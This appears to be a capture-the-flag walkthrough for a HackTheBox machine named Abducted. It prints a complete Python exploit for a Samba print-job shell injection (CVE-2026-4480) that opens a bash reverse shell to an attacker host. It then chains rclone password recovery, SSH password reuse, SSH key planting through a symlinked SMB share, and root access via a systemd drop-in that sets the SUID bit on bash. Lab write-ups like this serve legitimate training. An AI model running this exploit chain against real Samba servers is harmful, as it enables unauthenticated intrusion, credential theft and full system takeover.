> For the complete documentation index, see [llms.txt](https://0xyogesh.gitbook.io/exploitnotes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xyogesh.gitbook.io/exploitnotes/writeups/hackthebox/abducted-writeup.md). Agents can also search and read this documentation through its [MCP server](https://0xyogesh.gitbook.io/exploitnotes/~gitbook/mcp).

# Abducted Writeup

**Difficulty:** Medium

## Reconnaissance

### Nmap

```bash
nmap -sC -sV -A <MACHINE-IP> -oA abducted
```

```
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
139/tcp open  netbios-ssn Samba smbd 4
445/tcp open  netbios-ssn Samba smbd 4
```

Three open ports — SSH and Samba (SMB). No web server. The NetBIOS name is `ABDUCTED` and the server string is `Hartley Group Document Services`.

### `/etc/hosts`

```bash
echo "<MACHINE-IP> abducted.htb" >> /etc/hosts
```

## SMB Enumeration

Listing shares anonymously:

```bash
smbclient -L //<MACHINE-IP> -N
```

```
Sharename       Type      Comment
---------       ----      -------
HP-Reception    Printer   Reception printer
projects        Disk      Hartley Group Project Files
transfer        Disk      Staff file transfer
IPC$            IPC       IPC Service (Hartley Group Document Services)
```

Three shares are exposed. Attempting anonymous access:

```bash
smbclient //<MACHINE-IP>/projects -N
# NT_STATUS_ACCESS_DENIED

smbclient //<MACHINE-IP>/transfer -N
# NT_STATUS_ACCESS_DENIED
```

Both disk shares require authentication. `HP-Reception` is a printer share.

### RPC Enumeration

```bash
rpcclient -U "" -N <MACHINE-IP>
```

```
rpcclient $> enumdomusers
user:[scott] rid:[0x3e8]

rpcclient $> querydispinfo
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: scott    Name: Scott Mercer

rpcclient $> netshareenum
netname: HP-Reception
        path: C:\var\spool\samba
netname: projects
        path: C:\srv\projects
netname: transfer
        path: C:\srv\transfer

rpcclient $> enumprinters
        name:[\\<MACHINE-IP>\]
        description:[\\<MACHINE-IP>\,,Reception printer]
        comment:[Reception printer]
```

One user is identified: `scott`. The printer share path maps to `/var/spool/samba` on the host.

### SMB Protocol Versions

```bash
nmap --script smb-os-discovery,smb-protocols,smb2-security-mode -p445 <MACHINE-IP>
```

```
| smb-protocols:
|   dialects:
|     2.0.2
|     2.1
|     3.0
|     3.0.2
|_    3.1.1
```

Samba is running with the printer share publicly accessible as guest. The `HP-Reception` printer combined with recent Samba CVEs is the attack surface.

## Initial Foothold — CVE-2026-4480 (Samba `%J` Print Injection)

A critical vulnerability in Samba's printing subsystem was disclosed in 2026. Samba passes the client-controlled print job description string to the configured `print command` via the `%J` substitution character **without escaping shell metacharacters**. An unauthenticated attacker can submit a crafted print job whose description contains shell commands, resulting in remote code execution.

Reference: <https://www.samba.org/samba/security/CVE-2026-4480.html>

The exploit works by connecting to the `spoolss` named pipe, opening the printer handle, then submitting a `StartDocPrinter` call with a job name of `|sh`. The actual shell payload is sent as print data — Samba's `%J` substitution injects the job name into the print command, causing the shell to execute it.

### Exploit Script (`cve-2026-4480.py`)

```python
#!/usr/bin/env python3
"""
CVE-2026-4480 — Samba Print Job Description Shell Injection
Unauthenticated RCE via Print Spooler (%J substitution)

Dependencies: apt install python3-samba
"""

import argparse
import sys

BANNER = r"""
╔═══════════════════════════════════════════════════════════╗
║   ██████╗ ██████╗ ██╗███╗   ██╗████████╗                 ║
║   ██╔══██╗██╔══██╗██║████╗  ██║╚══██╔══╝                 ║
║   ██████╔╝██████╔╝██║██╔██╗ ██║   ██║                    ║
║   ██╔═══╝ ██╔══██╗██║██║╚██╗██║   ██║                    ║
║   ██║     ██║  ██║██║██║ ╚████║   ██║                    ║
║   ╚═╝     ╚═╝  ╚═╝╚═╝╚═╝  ╚═══╝   ╚═╝                    ║
║         CVE-2026-4480  Samba %J Print Injection           ║
║         Unauthenticated RCE via Print Spooler             ║
╚═══════════════════════════════════════════════════════════╝
"""


def parse_args():
    parser = argparse.ArgumentParser(
        description='CVE-2026-4480 — Samba print job %J shell injection'
    )
    parser.add_argument('-r', '--rhost',   required=True,        help='Target IP or hostname')
    parser.add_argument('-l', '--lhost',   default=None,         help='Attacker IP (for reverse shell)')
    parser.add_argument('-p', '--lport',   default=None,         type=int, help='Attacker port (for reverse shell)')
    parser.add_argument('-c', '--command', default=None,         help='Custom command instead of reverse shell')
    parser.add_argument('--printer',       default='HP-Reception', help='Printer share name (default: HP-Reception)')
    parser.add_argument('--username',      default='',           help='SMB username (default: anonymous)')
    parser.add_argument('--password',      default='',           help='SMB password (default: empty)')
    return parser.parse_args()


def build_payload(args):
    if args.command:
        print(f'[*] Mode     : custom command')
        print(f'[*] Command  : {args.command}')
        return (args.command + '\n').encode()
    elif args.lhost and args.lport:
        cmd = f"setsid bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1' >/dev/null 2>&1 &"
        print(f'[*] Mode     : reverse shell')
        print(f'[*] LHOST    : {args.lhost}')
        print(f'[*] LPORT    : {args.lport}')
        return (cmd + '\n').encode()
    else:
        print('[!] Provide either -c <command> or both -l <lhost> and -p <lport>')
        sys.exit(1)


def exploit(args, payload):
    try:
        from samba.dcerpc import spoolss
        from samba.param import LoadParm
        from samba.credentials import Credentials
    except ImportError:
        print('[!] Missing dependency: python3-samba')
        print('    apt install python3-samba')
        sys.exit(1)

    lp = LoadParm()
    lp.load_default()
    creds = Credentials()
    creds.guess(lp)
    if args.username:
        creds.set_username(args.username)
        creds.set_password(args.password)
    else:
        creds.set_anonymous()

    printer_path = f'\\\\{args.rhost}\\{args.printer}'

    print(f'\n[*] Connecting to spoolss pipe on {args.rhost} ...')
    iface = spoolss.spoolss(f'ncacn_np:{args.rhost}[\\pipe\\spoolss]', lp, creds)

    print(f'[*] Opening printer handle: {printer_path}')
    h = iface.OpenPrinter(printer_path, '', spoolss.DevmodeContainer(), 0x00000008)

    print(f"[*] Submitting print job with job name '|sh' (%J injection) ...")
    i1 = spoolss.DocumentInfo1()
    i1.document_name = '|sh'
    i1.output_file = None
    i1.datatype = 'RAW'

    ctr = spoolss.DocumentInfoCtr()
    ctr.level = 1
    ctr.info = i1

    iface.StartDocPrinter(h, ctr)
    iface.StartPagePrinter(h)
    iface.WritePrinter(h, payload, len(payload))
    iface.EndPagePrinter(h)
    iface.EndDocPrinter(h)
    iface.ClosePrinter(h)

    print('[+] Job submitted successfully — check your listener!')


def main():
    print(BANNER)
    args = parse_args()
    print(f'[*] Target   : {args.rhost}')
    print(f'[*] Printer  : {args.printer}')
    print(f'[*] Auth     : {args.username if args.username else "anonymous (guest)"}')
    payload = build_payload(args)
    exploit(args, payload)


if __name__ == '__main__':
    main()
```

{% stepper %}
{% step %}

## Set up a listener

```bash
nc -lvnp 4444
```

{% endstep %}

{% step %}

## Run the exploit

```bash
python3 cve-2026-4480.py -r <MACHINE-IP> -l <ATTACKER-IP> -p 4444
```

```
[*] Target   : <MACHINE-IP>
[*] LHOST    : <ATTACKER-IP>
[*] LPORT    : 4444
[*] Printer  : HP-Reception
[*] Payload  : bash reverse shell

[*] Connecting to spoolss pipe...
[*] Opening printer handle...
[*] Starting document with |sh job name...
[+] Job submitted — check your listener!
```

{% endstep %}

{% step %}

## Verify the reverse shell

A reverse shell connects as `nobody` — the Samba guest account.

```
(remote) nobody@abducted:/$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
```

{% endstep %}
{% endstepper %}

## Post-Exploitation as `nobody` — rclone Credentials

Searching for configuration files outside standard system paths:

```bash
find / -type f -name "*.conf" 2>/dev/null | grep -Ev "^/usr/|^/etc/"
```

```
/opt/offsite-backup/rclone.conf
```

Reading it:

```bash
cat /opt/offsite-backup/rclone.conf
```

```ini
[offsite]
type = sftp
host = backup.hartley-group.internal
user = svc-backup
pass = HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
shell_type = unix
```

rclone stores passwords in an obfuscated, not encrypted, format. The `rclone reveal` command decodes it:

```bash
rclone reveal HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
```

```
iXzvcib3SrpZ
```

Plaintext password recovered: **iXzvcib3SrpZ**

## Lateral Movement — SSH as `scott` (Password Reuse)

With a password in hand and only two system users, `scott` and `marcus`, test password reuse against SSH:

```bash
ssh scott@abducted.htb
# Password: iXzvcib3SrpZ
```

```
scott@abducted:~$ id
uid=1000(scott) gid=1001(scott) groups=1001(scott)
```

Password reuse succeeds — `svc-backup`'s rclone password is reused for `scott`'s SSH account.

## User Flag

```bash
scott@abducted:~$ cat user.txt
```

```
HTB{REDACTED}
```

## Enumeration as `scott`

Checking sudo:

```bash
sudo -l
# Sorry, user scott may not run sudo on abducted.
```

No sudo. Reviewing the Samba configuration files:

```bash
cat /etc/samba/smb.conf
```

```ini
[global]
   workgroup = WORKGROUP
   server string = Hartley Group Document Services
   netbios name = ABDUCTED
   map to guest = Bad User
   guest account = nobody
   security = user
   printing = sysv
   load printers = no
   disable spoolss = no
   unix extensions = no
   allow insecure wide links = yes
   include = /etc/samba/shares.conf
```

```bash
cat /etc/samba/shares.conf
```

```ini
[HP-Reception]
   comment = Reception printer
   path = /var/spool/samba
   printable = yes
   guest ok = yes
   print command = /usr/local/bin/printaudit %J %s
   lpq command = /bin/true
   lprm command = /bin/true

[projects]
   comment = Hartley Group Project Files
   path = /srv/projects
   valid users = scott
   read only = no
   browseable = yes

[transfer]
   comment = Staff file transfer
   path = /srv/transfer
   valid users = scott
   force user = marcus
   read only = no
   wide links = yes
   browseable = yes
```

Two key observations:

1. The `print command` confirms how CVE-2026-4480 worked — `%J` passes unsanitised into the shell command.
2. The `transfer` share has `force user = marcus` and `wide links = yes`. Any file written through it is created as `marcus`. With `wide links = yes`, symlinks are followed across share boundaries.

## Lateral Movement — SSH Key Injection via SMB Symlink

The `transfer` share forces file operations to run as `marcus`. Using a symlink from `/srv/transfer` into `marcus`'s home directory allows writing files as that user through the share.

{% stepper %}
{% step %}

## Create the symlink

Create the symlink as `scott`, who can write to `/srv/transfer`:

```bash
ln -s /home/marcus /srv/transfer/marcus
```

{% endstep %}

{% step %}

## Connect to the transfer share

```bash
smbclient //<MACHINE-IP>/transfer -U 'scott%iXzvcib3SrpZ'
```

```
smb: \> ls
  marcus    D    0  Thu Jun 11 07:29:45 2026

smb: \> cd marcus
smb: \marcus\> ls
  .profile
  .bash_logout
  .bash_history
  .bashrc
  .cache
```

{% endstep %}

{% step %}

## Upload an SSH key

Create the `.ssh` directory and upload the attacker's public key:

```bash
smb: \marcus\> mkdir .ssh
smb: \marcus\> cd .ssh
smb: \marcus\.ssh\> put /home/kali/.ssh/id_rsa.pub authorized_keys
```

```
putting file /home/kali/.ssh/id_rsa.pub as \marcus\.ssh\authorized_keys
```

{% endstep %}

{% step %}

## Fix SSH permissions

SSH requires strict permissions on `authorized_keys` — the file must not be world-readable. Use `smbclient`'s `setmode` to strip the read bit:

```bash
smb: \marcus\.ssh\> setmode authorized_keys a-r
```

Navigate back and fix the `.ssh` directory permissions:

```bash
smb: \marcus\.ssh\> cd ..
smb: \marcus\> setmode .ssh a-r+d
```

{% endstep %}

{% step %}

## Connect as marcus

```bash
ssh -i /home/kali/.ssh/id_rsa marcus@abducted.htb
```

```
marcus@abducted:~$ id
uid=1001(marcus) gid=1002(marcus) groups=1002(marcus),1000(operators)
```

`marcus` is a member of the `operators` group.
{% endstep %}
{% endstepper %}

## Privilege Escalation to Root — systemd Drop-in (`operators` Group)

Find what the `operators` group has write access to:

```bash
find / -group operators 2>/dev/null
```

```
/etc/systemd/system/smbd.service.d
```

The `operators` group owns the `smbd.service.d` drop-in directory for the Samba service. systemd service drop-ins allow adding or overriding directives in a service unit without modifying the original file. Writing a drop-in with an `ExecStartPre` directive causes it to run as root when the service restarts.

{% stepper %}
{% step %}

## Create the malicious drop-in

```bash
cat > /etc/systemd/system/smbd.service.d/privesc.conf << 'EOF'
[Service]
ExecStartPre=/bin/bash -c 'chmod +s /bin/bash'
EOF
```

{% endstep %}

{% step %}

## Reload systemd and restart smbd

```bash
systemctl daemon-reload
systemctl restart smbd
```

{% endstep %}

{% step %}

## Spawn a root shell

The `ExecStartPre` command runs as root, setting the SUID bit on `/bin/bash`.

```bash
bash -p
```

```
bash-5.2# whoami
root
```

{% endstep %}
{% endstepper %}

## Root Flag

```bash
bash-5.2# cat /root/root.txt
```

```
HTB{REDACTED}
```

## Credentials Summary

| User         | Credential   | Source                                   |
| ------------ | ------------ | ---------------------------------------- |
| nobody (SMB) | —            | CVE-2026-4480 unauthenticated RCE        |
| scott (SSH)  | iXzvcib3SrpZ | rclone.conf obfuscated password          |
| marcus (SSH) | id\_rsa      | SMB symlink + wide links key injection   |
| root         | —            | systemd drop-in `ExecStartPre` SUID bash |

## Key Vulnerabilities

| # | Vulnerability                                                        | Impact                           |
| - | -------------------------------------------------------------------- | -------------------------------- |
| 1 | CVE-2026-4480 — Samba `%J` print job name shell injection            | Unauthenticated RCE as nobody    |
| 2 | rclone obfuscated password in world-readable config                  | Plaintext credential recovery    |
| 3 | Password reuse across svc-backup and scott accounts                  | SSH access as scott              |
| 4 | SMB `transfer` share: `force user = marcus` + `wide links = yes`     | Write to marcus's home as marcus |
| 5 | `operators` group write access to `smbd.service.d` drop-in directory | Root via systemd `ExecStartPre`  |

## Attack Chain

```
Nmap → SMB + Printer Share (HP-Reception)
  → CVE-2026-4480 %J Print Injection → RCE as nobody
    → /opt/offsite-backup/rclone.conf → obfuscated password
      → rclone reveal → iXzvcib3SrpZ
        → SSH password reuse → scott
          → SMB shares.conf: transfer share (force user=marcus, wide links=yes)
            → ln -s /home/marcus /srv/transfer/marcus
              → smbclient → write authorized_keys as marcus
                → SSH as marcus (operators group)
                  → find / -group operators → /etc/systemd/system/smbd.service.d
                    → systemd drop-in ExecStartPre → chmod +s /bin/bash
                      → bash -p → root
```
